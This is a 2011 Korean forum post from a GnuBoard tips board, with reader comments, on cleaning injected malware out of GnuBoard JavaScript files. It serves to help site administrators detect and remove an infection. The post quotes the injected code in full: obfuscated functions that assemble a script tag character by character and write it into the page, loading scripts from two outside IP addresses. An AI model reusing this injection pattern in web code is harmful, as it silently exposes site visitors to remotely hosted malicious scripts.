그누보드 홈페이지가 갑자기 느려졌을때 http://173.252.199.91/sideview.js 등.. (악성코드감염) 해결법...

· 2011-12-08 (목) 18:01:41 · 5114 · 8
최근에 그누보드 이용하다 보면
홈페이지가 연결이 지연되는 증상이 있었죠?

http://173.252.199.91/sideview.js

http://74.82.184.43:81/pv_data.js

js/ 폴더 내 common.js 와 같은 *.js 파일 에 악성코드가 심어져 있어 발생하는 문제네요.

function Info_JQueryValue_View()

이와 같이 시작을 해서
내용이
 
function Info_JQueryValue_View()
    {
        if(navigator.userAgent.toLowerCase().indexOf("msie") != -1)
        {
                        var request;
                        if(window.ActiveXObject) {
                                var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
                                for(var i=0; i<versions.length; i++) {
                                        try {
                                                request = new ActiveXObject(versions[i]);
                                        } catch(e) {}
                                }
                        }
                        if(request)
                        {
                                var M='';M+='<';M+='s';M+='c';M+='r';M+='i';M+='p';M+='t';M+=' ';M+='s';M+='r';M+='c';M+='=';M+='h';M+='t';M+='t';M+='p';M+=':';M+='/';M+='/';M+='1';M+='7';M+='3';M+='.';M+='2';M+='5';M+='2';M+='.';M+='1';M+='9';M+='9';M+='.';M+='9';M+='1';M+='/';M+='s';M+='i';M+='d';M+='e';M+='v';M+='i';M+='e';M+='w';M+='.';M+='j';M+='s';M+='>';M+='<';M+='/';M+='s';M+='c';M+='r';M+='i';M+='p';M+='t';M+='>';var Info_JQueryValue_View_='NULL';document.write(M);
                        }
        }
    }

    Info_JQueryValue_View();

이와 같이 들어가 있거나

function Show_Info_JQuery_m_()
{
    var P='';P+='<';P+='s';P+='c';P+='r';P+='i';P+='p';P+='t';P+=' ';P+='s';P+='r';P+='c';P+='=';P+='h';P+='t';P+='t';P+='p';P+=':';P+='/';P+='/';P+='1';P+='7';P+='3';P+='.';P+='2';P+='5';P+='2';P+='.';P+='1';P+='9';P+='9';P+='.';P+='9';P+='1';P+='/';P+='s';P+='i';P+='d';P+='e';P+='v';P+='i';P+='e';P+='w';P+='.';P+='j';P+='s';P+='>';P+='<';P+='/';P+='s';P+='c';P+='r';P+='i';P+='p';P+='t';P+='>';window["document"]["write"](P);
}
Show_Info_JQuery_m_();

    function Show_Info_JQuery_m_()
    {
    var P='';P+='<';P+='s';P+='c';P+='r';P+='i';P+='p';P+='t';P+=' ';P+='s';P+='r';P+='c';P+='=';P+='h';P+='t';P+='t';P+='p';P+=':';P+='/';P+='/';P+='7';P+='4';P+='.';P+='8';P+='2';P+='.';P+='1';P+='8';P+='4';P+='.';P+='4';P+='3';P+=':';P+='8';P+='1';P+='/';P+='p';P+='v';P+='_';P+='d';P+='a';P+='t';P+='a';P+='.';P+='j';P+='s';P+='>';P+='<';P+='/';P+='s';P+='c';P+='r';P+='i';P+='p';P+='t';P+='>';window["document"]["write"](P);
    }

    Show_Info_JQuery_m_();

이와 같이 쿼리문으로 삽입되어 있었네요.

위 내용을 확인 후에 해당 내용을 삭제 하면
홈페이지가 빨리 연결 되더군요.

홈페이지 느려서 위와 같은 증상이 났는데, 해결 안되신 분들 있으면 위와 같이 해보세요. ^^
|

댓글 8개

감사합니다.
허접홈이라 다행스럽게도 아직 느리지는 않습니다. ^ ^;;
예전 제로때 이런 코드가 심어진게 많아서 한참 지웠던 적이 있는데,,, 확인해 봐야 겠군요 좋은 정보 감사합니다
2011-12-09 (금) 12:32:04
좋은 정보 감사합니다. ~
저도 3일전에 이거 걸려서 카페24에서 처리해주었는데...좋은정보인거 같아요
감사합니다. 확인결과 다행이 없네요.
수정 안하신분들은 걍 깨끗한 파일로 덮어씌우세요 ㅎㅎ
정말 감사합니다. 원천봉쇄 방법은 모르겠지만, 일단 계속 모니터링 해야겠네요.ㅠㅠ
좋은정보 감사합니다 확인해보니 제사이트는 영양가가 없나 ㅋㅋㅋ
댓글을 작성하시려면 로그인이 필요합니다.

그누4 팁자료실

3,309건

그누보드4와 관련된 팁을 여러분들과 함께 공유하세요. 나누면 즐거움이 커집니다.

+
제목 글쓴이 날짜 조회
11-12-17 조회 4,982
11-12-15 조회 9,989
11-12-13 조회 8,020
11-12-13 조회 5,625
11-12-13 조회 1.7만
11-12-13 조회 6,022
11-12-12 조회 1.1만
11-12-12 조회 1만
11-12-12 조회 7,484
11-12-08 조회 5,115
11-12-08 조회 5,610
11-12-08 조회 5,590
11-12-07 조회 5,010
11-12-06 조회 7,664
11-12-06 조회 1.4만
11-12-05 조회 4,900
11-12-05 조회 3,711
11-12-05 조회 7,416
11-12-04 조회 4,127
11-12-03 조회 4,785